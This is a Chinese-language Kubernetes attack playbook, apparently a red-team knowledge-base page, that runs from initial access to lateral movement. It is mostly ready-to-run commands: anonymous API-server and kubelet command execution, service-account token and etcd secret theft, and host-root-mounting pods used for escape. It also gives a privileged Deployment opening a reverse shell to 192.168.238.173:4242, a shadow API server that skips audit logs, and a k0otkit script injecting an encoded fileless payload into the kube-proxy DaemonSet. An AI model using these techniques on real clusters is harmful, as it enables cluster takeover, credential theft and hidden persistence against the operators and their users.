🐺Kubernetes ATT&CK

识别容器
首先是Docker再判断是否为K8s
/run/secrets/kubernetes.io/serviceaccount文件是为Pod中的进程和外部用户提供身份信息
df -h
Filesystem Size Used Avail Use% Mounted on
overlay 50G 3.6G 47G 8% /
tmpfs 64M 0 64M 0% /dev
tmpfs 1.9G 0 1.9G 0% /sys/fs/cgroup
/dev/mapper/centos-root 50G 3.6G 47G 8% /etc/hosts
shm 64M 0 64M 0% /dev/shm
tmpfs 1.9G 12K 1.9G 1% /run/secrets/kubernetes.io/serviceaccount
tmpfs 1.9G 0 1.9G 0% /proc/acpi
tmpfs 1.9G 0 1.9G 0% /proc/scsi
tmpfs 1.9G 0 1.9G 0% /sys/firmware
ls -l /run/secrets/kubernetes.io/serviceaccount/
total 0
lrwxrwxrwx 1 root root 13 Sep 17 01:17 ca.crt -> ..data/ca.crt
lrwxrwxrwx 1 root root 16 Sep 17 01:17 namespace -> ..data/namespace
lrwxrwxrwx 1 root root 12 Sep 17 01:17 token -> ..data/token
主要包含了三个内容
namespace指定了pod所在的namespace
CA用于验证apiserver的证书
token用作身份验证
env环境变量
root@privileged-container:~# env
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
HOSTNAME=privileged-container
DVWA_WEB_SERVICE_PORT=8080
DVWA_WEB_SERVICE_HOST=10.97.153.211
DVWA_WEB_SERVICE_PORT_8080=8080
初始访问
容器内应用漏洞
常用Web应用,由K8s编排Docker部署的Web应用,存在SQL注入、命令执行等,获取到Webshell权限,这时候就拿到了Pod节点权限,通过Pod节点逃逸、横向渗透。
护网中常见的是Shiro拿到权限之后是由K8s部署的,在无法逃逸的情况下,利用Pod节点作为入口点,对内网横向渗透获取其它机器权限。
API Server未授权访问
API Server作为中心组件,通常使用kubectl来访问apiserver,也可以通过Kubernetes各个语言的client库来访问kube-apiserver 同时提供 https(默认监听在 6443 端口)和 http API(默认监听在 127.0.0.1 的 8080 端口)访问。
如运维人员配置不当,将默认监听127.0.0.1更改为0.0.0.0,或者添加了--enable-skip-login选项,将会导致未授权访问。
由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
可通过命令查看:
kubectl get clusterrolebindings -o yaml
配置有未授权
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
利用链:
可以通过cdk中的kcurl模块进行利用
查看Pods -> 创建特权容器 -> 执行命令 -> 逃逸完成。
#查看Pod
https://192.168.250.28:6443/api/v1/namespaces/default/pods?limit=500
#创建特权容器
https://192.168.250.28:6443/api/v1/namespaces/default/pods/test-4444
POST:
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-3333\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-3333\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test-3333","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-3333","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
#执行命令
https://192.168.250.28:6443/api/v1/namespaces/default/pods/test-3333/exec?stdout=1&stderr=1&tty=true&command=whoami
YAML描述文件
apiVersion: v1 #创建该对象所使用的Kubernetes API版本
kind: Pod #对象类型为Pod,可以是Deployment、DaemonSet等
metadata: #识别对象唯一性数据,名称、namespace
name: test-444 #Pod名称
spec: #Pod规格
containers:
- name: test-444 #容器名称
image: nginx:1.14.2 #镜像
volumeMounts: #卷
- name: host
mountPath: /host #将宿主机的根目录挂载到/host目录下
volumes:
- name: host
hostPath:
path: /
type: Directory
提示!
执行
https://192.168.250.28:6443/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=whoami
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {
},
"status": "Failure",
"message": "Upgrade request required",
"reason": "BadRequest",
"code": 400
}
问题原因:
curl/postman不支持从http升级到websocket因此错误
wscat -n -c
'https://192.168.250.28:6443/api/v1/namespaces/default/pods/test-3333/exec?stdout=1&stderr=1&tty=true&command=whoami'
kubelet未授权访问
每个Node节点上都运行一个 Kubelet 服务进程,默认监听 10250 端口,接收并执行 Master 发来的指令,管理 Pod 及 Pod 中的容器。在缺少对TLS身份验证,而在一些默认配置中启用了,--anonymous-auth 默认为true允许匿名身份访问API。
案例:
修改未授权选项:
cp /var/lib/kubelet/config.yaml /var/lib/kubelet/config.yaml.bak
vim /var/lib/kubelet/config.yaml
anonymous: true
mode: AlwaysAllow
攻击方式:
curl -sk https://192.168.238.173:10250/runningpods/ |python -m json.tool
curl -k -XPOST "https://192.168.238.173:10250/run/kube-system/node-local-dns-zhrdn/node-local" -d "cmd=whoami"
新版的k8s认证方式authorization mode默认为webhook,需要 Kubelet 通过 Api Server 进行授权。这样只是将authentication的anonymous改为true也无法利用
利用工具:
Examples:
// List all pods from kubelet
kubeletctl pods --server 123.123.123.123
// List all pods from kubelet with token
kubeletctl pods --token <JWT_token> --server 123.123.123.123
// List all pods from kubelet with token file
kubeletctl pods --token-file /var/run/secrets/kubernetes.io/serviceaccount/token --server 123.123.123.123
// Searching for service account token in each accessible container
kubeletctl scan token --server 123.123.123.123
// Searching for pods/containers vulnerable to RCE
kubeletctl scan rce --server 123.123.123.123
// Run "ls /" command on pod my-nginx-pod/nginx in thedefault namespace
kubeletctl run "ls /" --namespace default --pod my-nginx-pod --container nginx --server 123.123.123.123
// Run "ls /" command on all existing pods in a node
kubeletctl.exe run "ls /" --all-pods --server 123.123.123.123
// With certificates
kubeletctl.exe pods -s <node_ip> --cacert C:\Users\myuser\certs\ca.crt --cert C:\Users\myuser\certs\kubelet-client-current.pem --key C:\Users\myuser\certs\kubelet-client-current.pem
etcd获取敏感信息
2379(用于客户端与ectd通信)在默认配置当中是可以直接访问获取些敏感信息。
本地127.1可免认证访问,其他地址要带--endpoint参数和cert进行认证。
通过某搜索引擎:
#列出该目录所有节点的信息
http://114.xxx.xxx.155:2379/v2/keys
#添加上recursive=true参数,就会递归地列出所有的值
http://36..xxx.xxx.18:2379/v2/keys/?recursive=true

通过命令方式访问
#检查是否正常连接
etcdctl endpoint health
#读取service account token
etcdctl get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
#通过token认证访问API-Server,接管集群
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods
#带cert访问etcd
etcdctl --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://172.16.0.112:2379 --cacert=ca.pem --key=etcd-client-key.pem --cert=etcd-client.pem endpoint health
Dashboard面板暴露
由于鉴权配置不当如添加了--enable-skip-login选项,从而使Dashboard允许匿名用户以管理员权限向集群内部下发指令。
kubectl get pod -n kube-system | grep dashboard
kubectl get svc -n kube-system|grep dashboard
kubectl describe -n kube-system secrets admin-user

之后进入到终端,进入到/host通过chroot进行切换bash
K8s configfile 泄露
K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。
K8s本身并不维护这类帐户信息,它不会存储到API Server上,仅用于检测用户是否有权限执行所请求的操作。
如办公网机器被入侵、运维电脑存有并且能够访问得到API Server就能够直接接管K8s。
用户凭证保存在kubeconfig 文件中,而kubectl执行命令时会通过以下顺序来找到 kubeconfig 文件:
如果提供了--kubeconfig参数,就使用提供的 kubeconfig 文件。
如果没有提供--kubeconfig 参数,但设置了环境变量 $KUBECONFIG,则使用该环境变量提供的 kubeconfig 文件。
如果以上两种情况都没有,kubectl 就使用默认的 kubeconfig 文件 $HOME/.kube/config。
K8s有两种用户类型:
User Account
Service Account 简称SA
完整利用流程:
K8s configfile --> 创建后门Pod/挂载主机路径 --> 通过Kubectl进入容器 --> 利用挂载目录逃逸。
User Account
#Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s
https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
#内容放入config、或指定选项,需要修改Server地址
kubectl --kubeconfig k8s.yaml
#获取已接取的镜像
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
#创建Pod pod.yaml,将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default
#进入容器中
kubectl exec -it test-444 bash -n default
#切换bash,逃逸成功
cd /host
chroot ./ bash
Service Account
K8s集群创建的Pod中,容器内部默认携带K8s Service Account的认证凭据(/run/secrets/kubernetes.io/serviceaccount/token),CDK将利用该凭据尝试认证K8s api-server服务器并访问高权限接口,如果执行成功意味着该账号拥有高权限,您可以直接利用Service Account管理K8s集群。
k8s集群部署的时候默认会在每个pod容器中挂载token文件到
/run/secrets/kubernetes.io/serviceaccount/token
#Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s
https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
获取token文件内容,并写入如下格式:
apiVersion: v1
clusters:
- cluster:
insecure-skip-tls-verify: true
server: https://192.168.238.129:6443
name: cluster-name
contexts:
- context:
cluster: cluster-name
namespace: default
user: admin
name: admin
current-context: admin
kind: Config
preferences: {}
users:
- name: admin
user:
token: eyJhbGciOiJSUzI1NiIsImtpZCI6IjhGYlREWldiRHFsamVrNmpGdTRzR1ZVa251eHBGWV9zaE5xxxxOrmcZuSIICPW-ydtWco0D4QmwhXvC-pdVGNBgX98GVgxjOBNJL32P2azjdyMBOtA
kubectl --kubeconfig k8s.yaml version --insecure-skip-tls-verify=true
#权限不够会提示:
Error from server (Forbidden): nodes is forbidden: User "system:serviceaccount:default:default" cannot list resource "nodes" in API group "" at the cluster scope
在Kubernetes中,授权有ABAC(基于属性的访问控制)、RBAC(基于角色的访问控制)、Webhook、Node、AlwaysDeny(一直拒绝)和AlwaysAllow(一直允许)这6种模式。从1.6版本起,Kubernetes 默认启用RBAC访问控制策略。从1.8开始,RBAC已作为稳定的功能。
#获取拉取过的images
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
#找到可用的镜像后
#将宿主机的根目录挂载到了我们pod中的 /host目录
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: 100.125.4.222:20202/hwofficial/coredns:1.15.6
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
#创建该pod
kubectl --kubeconfig k8s.yaml apply -f pod.yaml -n default \
--insecure-skip-tls-verify=true
#进入容器
kubectl --kubeconfig k8s.yaml exec -it test-444 bash -n default -
-insecure-skip-tls-verify=true
BASH利用方式
#指向内部 API 服务器主机名
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
#设置 ServiceAccount 令牌的路径
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
#读取 pods 命名空间并将其设置为变量。
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
#读取 ServiceAccount 不记名令牌
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
# CACERT 路径
export CACERT=${SERVICEACCOUNT}/ca.crt
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/secrets
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey
执行以下命令查看当前集群中所有Namespaces。
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces
#写入yaml
cat > nginx-pod.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
EOF
创建pod
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -k
${APISERVER}/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @nginx-pod.yaml
查看信息
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces/default/pods/nginx
#执行命令
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespace/default/pods/test-444/exec?command=ls&command=-l
or
api/v1/namespaces/default/pods/nginx-deployment-66b6c48dd5-4djlm/exec?command=ls&command=-l&container=nginx&stdin=true&stdout=true&tty=true

使用恶意镜像
使用恶意的镜像会危害到集群,例如在Docker Hub拉取不受信任的镜像,可能存在后门以及应用程序版本较低产生的漏洞。
私有镜像仓库
Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器,由VMware开源。配置文件默认密码为:harbor_admin_password: Harbor12345
Harbor 1.8.3前版前本存在: CVE-2019-1609-任意管理员注册
危害:攻击者上传构造好的后门镜像,获取镜像中源代码。
执行
创建后门容器
比如创建:DS、RS、Deployments
最常见的是反弹Shell
#Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s
https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
#内容放入config、或指定选项,需要修改Server地址
kubectl --kubeconfig k8s.yaml
#获取已接取的镜像
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o
jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
#创建Pod pod.yaml,将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default
#进入容器中
kubectl exec -it test-444 bash -n default
#切换bash,逃逸成功
cd /host
chroot ./ bash
利用Service Account
CURL方式请求
kubectl方式请求
持久化
挂载主机路径
#创建Pod pod.yaml,将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default
Deployments
通过创建容器启用DaemonSets、Deployments,使子容器被清理掉了会恢复
ReplicationController(RC)
ReplicationController 确保在任何时候都有特定数量的 Pod 副本处于运行状态。
Replication Set(RS)
Replication Set简称RS,官方已经推荐我们使用RS和Deployment来代替RC了,实际上RS和RC的功能基本一致,目前唯一的一个区别就是RC只支持基于等式的selector
Deployment
主要职责和RC一样的都是保证Pod的数量和健康,二者大部分功能都是完全一致的,我们可以看成是一个升级版的RC控制器
官方组件kube-dns、kube-proxy也都是使用的Deployment来管理
这里使用Deployments来部署后门
#dep.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-deploy
labels:
k8s-app: nginx-demo
spec:
replicas: 3
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
hostNetwork: true
hostPID: true
containers:
- name: nginx
image: nginx:1.7.9
imagePullPolicy: IfNotPresent
command: ["bash"]
args: ["-c", "bash -i >& /dev/tcp/192.168.238.173/4242 0>&1"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
type: Directory
#创建
kubectl create -f dep.yaml
Shadow API Server
部署一个shadow apiserver,该apiserver具有和集群中现存的apiserver一致的功能,同时开启了全部K8s管理权限,接受匿名请求且不保存审计日志。便于攻击者无痕迹的管理整个集群以及下发后续渗透行动。
利用链:
1. 拥有master node权限
2. 在攻入的pod内部查找API-server访问地址和凭据
3. 连接apiserver判断权限
4. 获取apiserver原有配置
5. 修改配置
6. 重新部署shadow apiserver
配置文件:
/etc/systemd/system/kube-apiserver-test.service
#一键部署Shadow apiserver
./cdk run k8s-shadow-apiserver default
#使用到的选项
--allow-privileged
--insecure-port=9443
--insecure-bind-address=0.0.0.0
--secure-port=9444
--anonymous-auth=true
--authorization-mode=AlwaysAllow
#kcurl访问
./cdk kcurl anonymous get https://192.168.1.44:9443/api/v1/secrets
Rootkit
https://github.com/Metarget/k0otkit
DaemonSet和Secret资源(快速持续反弹、资源分离)
利用DaemonSet资源持续反弹,并且创建特权容器。
利用容器名称相似度伪装
利用Meterpreter替代反弹Shell
将Payload隐藏在Secret资源中
kube-proxy镜像(就地取材)
动态容器注入(高隐蔽性)
查找DaemonSet容器,在已启动的容器中添加后门
Meterpreter(流量加密)
无文件攻击(高隐蔽性)
利用memfd_create无文件攻击
#生成k0otkit
./pre_exp.sh
#监听
./handle_multi_reverse_shell.sh
#k0otkit.sh的内容复制到master
volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
name: $secret_name
namespace: kube-system
type: Opaque
data:
$secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhOGVlOTI2ODAyMDAxMTY3ODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF
# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below
# inject malicious container into kube-proxy pod
kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
| sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
| sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
| kubectl --kubeconfig /root/.kube/config replace -f -
cronjob持久化
Job负责处理任务,即仅执行一次的任务
CronJob则就是在Job上加上了时间调度。
kubectl create -f https://k8s.io/examples/application/job/cronjob.yaml
apiVersion: batch/v1
kind: CronJob
metadata:
name: hello
spec:
schedule: "*/1 * * * *"
jobTemplate:
spec:
template:
spec:
containers:
- name: hello
image: busybox
imagePullPolicy: IfNotPresent
command:
- /bin/sh
- -c
- #反弹Shell
restartPolicy: OnFailure
权限提升
特权容器逃逸
Docker Socket
Docker漏洞
内核漏洞
Linux Capabilities逃逸
Procfs目录挂载逃逸
Docker Daemon 未授权
K8s漏洞提权
K8s Rolebinding添加用户权限(Cluster-admin binding)
访问集群外资源(Access cloud resources)
探测
内网扫描
K8s常用端口探测
集群内部网络
Cluster内网扫描
集群内网扫描
Kubernetes的网络中存在4种主要类型的通信
同一Pod内的容器间通信
各Pod彼此间通信
Pod与Service间的通信
集群外部的流量与Service间的通信。
所以和常规内网渗透无区别,nmap、masscan等扫描
10/172/192
K8s常用端口探测

集群内部网络
Flannel网络插件默认使用10.244.0.0/16网络
Calico默认使用192.168.0.0/16网络
整体攻击思路
拿到容器
逃逸成功
获取Kubeconfig、执行kubectl控制集群
逃逸失败
Serviceaccount
通过curl、kubectl创建特权容器
逃逸成功,进行控制
探测网络
扫描网段发现控制面板,SSH服务等
API Server
Etcd等
未授权
搞其它的Pod、容器
查找容器中serviceaccount等进行逃逸
横向移动
容器逃逸
通过Service Account访问K8s API
Dashboard面板
ConfigMap
污点(Taint)横向渗透
第三方组件风险
DNS投毒(CoreDNS poisoning)
ARP投毒和IP欺骗(ARP poisoning and IP spoofing)
ConfigMap
提供了向容器中注入配置信息的能力,不仅可以用来保存单个属性,也可以用来保存整个配置文件
一般情况下ConfigMap是用来存储一些非安全的配置信息
#查看configmap列表
kubectl get configmap
#查看详细信息
kubectl describe configmaps cm-data
Name: cm-data
Namespace: default
Labels: <none>
Annotations: <none>
Data
====
redis.conf:
----
host=127.0.0.1
port=6379
mysql.conf:
----
host=127.0.0.1
port=3306
#查看键值
kubectl get configmaps cm-data -o yaml
污点(Taint)横向渗透
污点是K8s高级调度的特性,用于限制哪些Pod可以被调度到某一个节点。
一般主节点包含一个污点,这个污点是阻止Pod调度到主节点上面,除非有Pod能容忍这个污点。
而通常容忍这个污点的Pod都是系统级别的Pod,例如kube-system
控制Pod创建时候的污点来向集群内的节点进行喷射创建。
#Node中查看节点信息
[root@node1 ~]# kubectl get nodes
NAME STATUS ROLES AGE VERSION
192.168.238.129 Ready,SchedulingDisabled master 30d v1.21.0
192.168.238.130 Ready,SchedulingDisabled master 30d v1.21.0
192.168.238.131 Ready node 30d v1.21.0
192.168.238.132 Ready node 30d v1.21.0
#确认Master节点的容忍度
[root@node1 ~]# kubectl describe nodes 192.168.238.130
Name: 192.168.238.130
Roles: master
Labels: beta.kubernetes.io/arch=amd64
beta.kubernetes.io/os=linux
kubernetes.io/arch=amd64
kubernetes.io/hostname=192.168.238.130
kubernetes.io/os=linux
kubernetes.io/role=master
Annotations: flannel.alpha.coreos.com/backend-data: {"VtepMAC":"66:3b:20:6a:eb:ff"}
flannel.alpha.coreos.com/backend-type: vxlan
flannel.alpha.coreos.com/kube-subnet-manager: true
flannel.alpha.coreos.com/public-ip: 192.168.238.130
node.alpha.kubernetes.io/ttl: 0
volumes.kubernetes.io/controller-managed-attach-detach: true
CreationTimestamp: Tue, 14 Sep 2021 17:41:30 +0800
Taints: node.kubernetes.io/unschedulable:NoSchedule
#创建带有容忍参数的Pod
kubectl create -f control-master.yaml
#control-master.yaml内容:
apiVersion: v1
kind: Pod
metadata:
name: control-master-15
spec:
tolerations:
- key: node.kubernetes.io/unschedulable
operator: Exists
effect: NoSchedule
containers:
- name: control-master-15
image: ubuntu:18.04
command: ["/bin/sleep", "3650d"]
volumeMounts:
- name: master
mountPath: /master
volumes:
- name: master
hostPath:
path: /
type: Directory

#获得Master控制端
kubectl exec control-master-15 -it bash
chroot /master bash
cat /etc/shadow
第三方组件风险
供应层
自动化和配置:Chef、Puppet、Ansible、Terraform、KubeEdge
镜像仓库:Docker Hub、Harbor、artifactory
运行时层
容器运行时:Containerd、CRI-O、Kata、gVisor、Firecracker
云原生网络:Calico、Weave Net、Flannel、Antrea、NSX-T
编排管理层
编排和调度:Kubernetes、Docker Swarm、Mesos
协调和服务发现:CoreDNS、Etcd、Zookeeper、Eureka
API网关:Kong、Mulesoft、Ambassador
服务网格:lstio、Linkerd、Consul
应用程序定义和开发层
数据库:Postgres、MySQL、Redis
数据流和消息传递:Spark、Kafka、RabbitMQ、Nats
应用程序定义和镜像构建:Helm、Buildpacks、Tilt、Okteto
持续集成和持续交付:Argo、Flagger、Spinnaker、Jenkins
平台层
其它k8s发行版:AgorKube、Canonical、OpenShift
托管Kubernetes:Azure、Alibaba Cloud
监控监测
监控:Prometheus、Cortex、Thanos、Grafana
Last updated
Was this helpful?